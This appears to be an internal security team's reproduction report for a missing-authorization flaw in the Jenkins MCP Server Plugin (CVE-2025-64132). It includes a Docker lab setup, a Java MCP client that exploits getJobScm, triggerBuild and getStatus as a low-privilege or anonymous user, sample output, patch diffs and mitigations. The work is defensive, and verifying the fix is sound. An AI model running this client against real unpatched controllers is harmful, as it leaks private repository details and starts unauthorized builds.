CVE: CVE-2025-64132 (GHSA-mrpq-9jr3-rqq9)
Component: Jenkins MCP Server Plugin (package io.jenkins.plugins:mcp-server)
Vulnerable versions: ≤ 0.84.v50ca_24ef83f2
Patched version: 0.86.v7d3355e6a_a_18
Date analysed: 2025-10-30
Analyst: Internal Product Security
CWE: CWE-862 (Missing Authorization), CWE-284 (Improper Access Control)
Reference advisory: https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3622
The Jenkins MCP Server Plugin exposes tool endpoints (getJobScm, triggerBuild, getStatus) intended for Model Context Protocol clients. Versions up to 0.84.v50ca_24ef83f2 fail to enforce Jenkins' standard permission checks, allowing users with only Item/Read — or even anonymous callers — to:
- Extract the full Git SCM configuration of pipeline jobs.
- Trigger new builds on protected jobs.
- Enumerate controller status information (including provisionable clouds).
Running the same scenario on version 0.86.v7d3355e6a_a_18 demonstrates that the vendor patch restores the missing authorization checks: unauthorized SCM queries return empty data, triggerBuild raises AccessDeniedException, and anonymous status calls omit cloud details.
- Source exposure: Attackers with basic read access can harvest private repository URLs, branch names, and commit metadata.
- Pipeline hijacking: Unauthorized builds enable supply-chain attacks (e.g., injecting malicious artifacts, exfiltrating secrets from pipeline scripts).
- Environment reconnaissance: Cloud names and executor counts leak to unauthenticated users, assisting lateral movement.
- Scope: Works against controllers that expose the MCP Server Plugin API (default endpoint
/mcp/server/mcp) and rely on standard Jenkins permissions for build control.
Tested on Ubuntu 22.04 (x86_64) with:
- Docker Engine 28.2.2 (
docker.iopackage) - Docker Compose v2.27.0
- Java 17 (bundled with Jenkins LTS container)
jenkins/jenkins:2.492.3-lts-jdk17image
All commands assume a fresh workspace:
export WORKDIR="$HOME/jenkins-mcp-perm-bypass"
mkdir -p "$WORKDIR"/{env/jenkins_home/plugins,downloads,src,bin}
cd "$WORKDIR"Clean up between runs:
docker rm -f jenkins-mcp >/dev/null 2>&1 || true
sudo rm -rf "$WORKDIR/env/jenkins_home"/*
mkdir -p "$WORKDIR/env/jenkins_home/plugins"Create env/jenkins_home/init.groovy.d/01-setup.groovy:
import hudson.model.FreeStyleProject
import hudson.model.Label
import hudson.plugins.git.BranchSpec
import hudson.plugins.git.GitSCM
import hudson.plugins.git.UserRemoteConfig
import hudson.security.GlobalMatrixAuthorizationStrategy
import hudson.security.HudsonPrivateSecurityRealm
import hudson.slaves.Cloud
import hudson.slaves.NodeProvisioner
import hudson.tasks.Shell
import java.util.Collection
import java.util.Collections
import jenkins.install.InstallState
import jenkins.model.Jenkins
Jenkins jenkins = Jenkins.get()
// Disable setup wizard and usage telemetry
jenkins.noUsageStatistics = true
jenkins.setInstallState(InstallState.INITIAL_SETUP_COMPLETED)
// Local users: admin (full), reader (Item/Read), noaccess (reserved)
HudsonPrivateSecurityRealm realm = new HudsonPrivateSecurityRealm(false)
if (realm.getUser("admin") == null) {
realm.createAccount("admin", "adminpass")
}
if (realm.getUser("reader") == null) {
realm.createAccount("reader", "readerpass")
}
if (realm.getUser("noaccess") == null) {
realm.createAccount("noaccess", "noaccesspass")
}
jenkins.setSecurityRealm(realm)
GlobalMatrixAuthorizationStrategy strategy = new GlobalMatrixAuthorizationStrategy()
strategy.add(Jenkins.ADMINISTER, "admin")
strategy.add(Jenkins.READ, "admin")
strategy.add(Jenkins.READ, "reader")
strategy.add(hudson.model.Item.READ, "reader")
jenkins.setAuthorizationStrategy(strategy)
jenkins.setCrumbIssuer(null) // simplify API calls
// Dummy cloud for status enumeration tests
class DummyMcpCloud extends Cloud {
DummyMcpCloud(String name) { super(name) }
@Override boolean canProvision(CloudState cloudState) { true }
@Override Collection<NodeProvisioner.PlannedNode> provision(Label label, int excessWorkload) {
return Collections.emptyList()
}
}
jenkins.clouds.replaceBy(Collections.singletonList(new DummyMcpCloud("dummy-mcp-cloud")))
// Example job using Git SCM
String jobName = "vuln-pipeline"
if (jenkins.getItem(jobName) == null) {
FreeStyleProject project = jenkins.createProject(FreeStyleProject.class, jobName)
def repoUrl = "https://github.com/octocat/Hello-World.git"
def userRemoteConfigs = Collections.singletonList(new UserRemoteConfig(repoUrl, null, null, null))
def branches = Collections.singletonList(new BranchSpec("*/master"))
GitSCM scm = new GitSCM(userRemoteConfigs, branches, false, Collections.emptyList(), null, null, Collections.emptyList())
project.setScm(scm)
project.getBuildersList().clear()
project.getBuildersList().add(new Shell("echo hi from Jenkins"))
project.save()
}
jenkins.save()Create env/jenkins_home/plugins.txt:
git:5.7.0
git-client:6.1.0
commons-lang3-api:3.18.0-98.v3a_674c06072d
jackson2-api:2.18.3-402.v74c4eb_f122b_2
workflow-aggregator:596.v8c21c963d92d
matrix-auth:3.2.2
Install them into the Jenkins home:
JENKINS_IMAGE="jenkins/jenkins:2.492.3-lts-jdk17"
ENV_HOME="$WORKDIR/env/jenkins_home"
docker run --rm -u 0:0 \
-v "$ENV_HOME:/var/jenkins_home" \
"$JENKINS_IMAGE" \
jenkins-plugin-cli --plugin-download-directory /var/jenkins_home/plugins \
--plugin-file /var/jenkins_home/plugins.txt
sudo chown -R 1000:1000 "$ENV_HOME"curl -L -o downloads/mcp-server-0.84.v50ca_24ef83f2.hpi \
https://updates.jenkins.io/download/plugins/mcp-server/0.84.v50ca_24ef83f2/mcp-server.hpi
curl -L -o downloads/mcp-server-0.86.v7d3355e6a_a_18.hpi \
https://updates.jenkins.io/download/plugins/mcp-server/0.86.v7d3355e6a_a_18/mcp-server.hpiStage the vulnerable build:
cp downloads/mcp-server-0.84.v50ca_24ef83f2.hpi "$ENV_HOME/plugins/mcp-server.jpi"
sudo chown 1000:1000 "$ENV_HOME/plugins/mcp-server.jpi"Create src/McpToolCli.java:
import io.modelcontextprotocol.client.McpClient;
import io.modelcontextprotocol.client.McpSyncClient;
import io.modelcontextprotocol.client.transport.HttpClientStreamableHttpTransport;
import io.modelcontextprotocol.spec.McpSchema;
import io.modelcontextprotocol.spec.McpSchema.CallToolRequest;
import io.modelcontextprotocol.spec.McpSchema.TextContent;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.util.Base64;
import java.util.Map;
public class McpToolCli {
public static void main(String[] args) throws Exception {
if (args.length < 3) {
System.err.println("Usage: McpToolCli <baseUrl> <username> <password> [toolName] [jobFullName]");
System.exit(1);
}
String baseUrl = args[0];
String username = args[1];
String password = args[2];
String toolName = args.length > 3 ? args[3] : "getJobScm";
String jobFullName = args.length > 4 ? args[4] : "vuln-pipeline";
HttpClientStreamableHttpTransport.Builder builder =
HttpClientStreamableHttpTransport.builder(baseUrl).endpoint("mcp-server/mcp");
if (username != null && !username.isEmpty()) {
builder.customizeRequest(request -> {
String auth = username + ":" + password;
String encoded = Base64.getEncoder()
.encodeToString(auth.getBytes(StandardCharsets.UTF_8));
request.header("Authorization", "Basic " + encoded);
});
}
McpSyncClient client = McpClient.sync(builder.build())
.requestTimeout(Duration.ofSeconds(60))
.capabilities(McpSchema.ClientCapabilities.builder().build())
.build();
client.initialize();
CallToolRequest request = new CallToolRequest(toolName, Map.of("jobFullName", jobFullName));
var response = client.callTool(request);
System.out.println("isError=" + response.isError());
response.content().forEach(content -> {
if (content instanceof TextContent text) {
System.out.println("TEXT: " + text.text());
} else {
System.out.println("CONTENT: " + content);
}
});
client.close();
}
}Compile and assemble a classpath of installed Jenkins/MCP libraries:
ROOT="$WORKDIR"
CP=$(find "$ENV_HOME/plugins" -path '*/WEB-INF/lib/*.jar' -printf '%p:')
CP+=$(find "$ENV_HOME/war/WEB-INF/lib" -name '*.jar' -printf '%p:')
CP+=$(find "$ENV_HOME/plugins" -maxdepth 1 -name '*.jpi' -printf '%p:')
CP=${CP%:}
javac -cp "$CP" -d "$WORKDIR/bin" "$WORKDIR/src/McpToolCli.java"Start Jenkins:
docker run -d --name jenkins-mcp \
-p 8080:8080 -p 50000:50000 \
-e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' \
-v "$ENV_HOME:/var/jenkins_home" \
"$JENKINS_IMAGE"Wait until the root URL responds:
until curl -fsS http://localhost:8080/login >/dev/null; do sleep 2; donejava -cp "$WORKDIR/bin:$CP" McpToolCli \
http://localhost:8080 reader readerpass getJobScm vuln-pipelineOutput:
isError=false
TEXT: {"uris":["https://github.com/octocat/Hello-World.git"],"branches":["main"],"commit":null,"name":"Git"}
Result: a user lacking Item/ExtendedRead learns the full Git origin and branch of the pipeline.
java -cp "$WORKDIR/bin:$CP" McpToolCli \
http://localhost:8080 reader readerpass triggerBuild vuln-pipelineOutput:
isError=false
TEXT: true
Result: the call succeeds and Jenkins schedules a new build for vuln-pipeline. A subsequent curl -s -u admin:adminpass http://localhost:8080/job/vuln-pipeline/lastBuild/buildNumber confirmed the build number incremented.
java -cp "$WORKDIR/bin:$CP" McpToolCli \
http://localhost:8080 "" "" getStatusOutput:
isError=false
TEXT: {"Quiet Mode":false,"Active administrative monitors":[],"Full Queue Size":0,"Root URL Status":"ERROR: Jenkins root URL is not configured. Please configure the Jenkins URL under \"Manage Jenkins → Configure System → Jenkins Location\" so tools like getJobs can work properly.\n ","Defined clouds that can provide agents (any label)":[],"Buildable Queue Size":0,"Available executors (any label)":2}
Result: even without credentials, callers learn executor capacity and (in typical environments) cloud provider names. In this reproduction the cloud list is empty because the dummy cloud was filtered out when the plugin could not provision; real controllers leak real cloud identifiers.
Replace the plugin and restart Jenkins:
docker rm -f jenkins-mcp
cp downloads/mcp-server-0.86.v7d3355e6a_a_18.hpi "$ENV_HOME/plugins/mcp-server.jpi"
sudo chown 1000:1000 "$ENV_HOME/plugins/mcp-server.jpi"
docker run -d --name jenkins-mcp \
-p 8080:8080 -p 50000:50000 \
-e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' \
-v "$ENV_HOME:/var/jenkins_home" \
"$JENKINS_IMAGE"
until curl -fsS http://localhost:8080/login >/dev/null; do sleep 2; doneRun the same MCP calls:
java -cp "$WORKDIR/bin:$CP" McpToolCli \
http://localhost:8080 reader readerpass getJobScm vuln-pipelineOutput:
isError=false
java -cp "$WORKDIR/bin:$CP" McpToolCli \
http://localhost:8080 reader readerpass triggerBuild vuln-pipelineOutput:
isError=true
TEXT: AccessDeniedException3: reader is missing the Job/Build permission
java -cp "$WORKDIR/bin:$CP" McpToolCli \
http://localhost:8080 "" "" getStatusOutput:
isError=false
TEXT: {"Quiet Mode":false,"Active administrative monitors":[],"Full Queue Size":0,"Root URL Status":"ERROR: Jenkins root URL is not configured. Please configure the Jenkins URL under \"Manage Jenkins → Configure System → Jenkins Location\" so tools like getJobs can work properly.\n ","Buildable Queue Size":0,"Available executors (any label)":2}
Observations:
getJobScmnow returns no text content unless the caller hasItem/EXTENDED_READ.triggerBuildraises an explicit authorization error.getStatushides the cloud list for unauthenticated users.
Version 0.84 omitted Jenkins permission checks inside MCP tool implementations. The 0.86 update adds explicit authorization gates. Key excerpts:
diff --git a/src/main/java/io/jenkins/plugins/mcp/server/extensions/JobScmExtension.java b/src/main/java/io/jenkins/plugins/mcp/server/extensions/JobScmExtension.java
- if (job instanceof SCMTriggerItem scmItem) {
- return scmItem.getSCMs().stream()
+ if (job instanceof SCMTriggerItem scmItem) {
+ if (job.hasPermission(Item.EXTENDED_READ)) {
+ return scmItem.getSCMs().stream()
.map(scm -> {
Object result = null;
if (scm.getType().equals("hudson.plugins.git.GitSCM")) {
result = GitScmUtil.extractGitScmInfo(scm);
}
return result;
})
.filter(Objects::nonNull)
.toList();
+ }
}diff --git a/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java b/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java
@@
- if (job != null) {
+ if (job != null) {
+ job.checkPermission(Item.BUILD);
if (job.isParameterized() && job instanceof Job j) {diff --git a/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java b/src/main/java/io/jenkins/plugins/mcp/server/extensions/DefaultMcpServer.java
@@
- map.put(
- "Defined clouds that can provide agents (any label)",
- jenkins.clouds.stream()
- .filter(cloud -> cloud.canProvision(new Cloud.CloudState(null, 1)))
- .map(Cloud::getDisplayName)
- .toList());
+ if (Jenkins.get().hasAnyPermission(Jenkins.SYSTEM_READ)) {
+ map.put(
+ "Defined clouds that can provide agents (any label)",
+ jenkins.clouds.stream()
+ .filter(cloud -> cloud.canProvision(new Cloud.CloudState(null, 1)))
+ .map(Cloud::getDisplayName)
+ .toList());
+ }The missing job.checkPermission and job.hasPermission calls allowed any authenticated MCP client to perform sensitive operations. The patch enforces Jenkins’ standard authorization model and restricts cloud enumeration to principals with SYSTEM_READ.
- Prerequisite: Obtain low-privilege credentials (e.g.,
Item/Readon a project) or rely on anonymous access if the controller allows it. - Discover Git repositories: Call
getJobScmto list downstream SCM URLs and branches, facilitating code theft or targeted supply-chain attacks. - Trigger unwanted builds: Invoke
triggerBuildto rerun production pipelines, potentially with tampered environment variables, malicious SCM revisions, or secret-exfiltrating steps. - Reconnaissance: Use
getStatusto inventory executor capacity and cloud names, aiding lateral movement or DoS attempts.
Because MCP is a JSON-RPC endpoint, these calls can be scripted over HTTP without additional Jenkins API tokens when crumb protection is disabled or when the attacker fetches a crumb.
- Upgrade immediately to MCP Server Plugin ≥ 0.86.v7d3355e6a_a_18 (or later releases containing the patch).
- Audit existing API tokens or MCP clients for over-broad permissions. Remove or rotate credentials issued to automated agents with only
Item/Read. - Restrict MCP exposure:
- Disable anonymous access (
Overall/Read) for controllers exposing the plugin. - Place the MCP endpoint behind authenticated reverse proxies.
- Disable anonymous access (
- Monitor build history for unexpected triggers between plugin installation and patch deployment.
- Controllers running custom clouds will still leak their names to principals with
SYSTEM_READ. Review Jenkins’ global permissions to ensure this is intentional. - The helper reproduction script requires root (Docker) and must clean file ownership (
chown 1000:1000) between runs; otherwise, stale files trigger permission errors. - Environments with CSRF protection enabled must supply a valid crumb when calling MCP endpoints; the vulnerability bypasses authorization, not CSRF.
# Install dependency plugins
docker run --rm -u 0:0 -v "$ENV_HOME:/var/jenkins_home" \
jenkins/jenkins:2.492.3-lts-jdk17 \
jenkins-plugin-cli --plugin-download-directory /var/jenkins_home/plugins \
--plugin-file /var/jenkins_home/plugins.txt
# Stage vulnerable plugin and start Jenkins
cp downloads/mcp-server-0.84.v50ca_24ef83f2.hpi "$ENV_HOME/plugins/mcp-server.jpi"
docker run -d --name jenkins-mcp ... "$JENKINS_IMAGE"
# Compile helper
javac -cp "$CP" -d "$WORKDIR/bin" "$WORKDIR/src/McpToolCli.java"
# Exploit endpoints
java -cp "$WORKDIR/bin:$CP" McpToolCli http://localhost:8080 reader readerpass getJobScm vuln-pipeline
java -cp "$WORKDIR/bin:$CP" McpToolCli http://localhost:8080 reader readerpass triggerBuild vuln-pipeline
java -cp "$WORKDIR/bin:$CP" McpToolCli http://localhost:8080 "" "" getStatus
# Upgrade to patched plugin
docker rm -f jenkins-mcp
cp downloads/mcp-server-0.86.v7d3355e6a_a_18.hpi "$ENV_HOME/plugins/mcp-server.jpi"
docker run -d --name jenkins-mcp ... "$JENKINS_IMAGE"- SCM leak:
{"uris":["https://github.com/octocat/Hello-World.git"],"branches":["main"],"commit":null,"name":"Git"}(unauthorized user). - Unauthorized build:
TEXT: trueconfirmingtriggerBuildsuccess. - Anonymous status: controller metrics returned without authentication.
- Patched behavior:
AccessDeniedException3for build attempts, empty response forgetJobScm, and stripped cloud data.
End of report.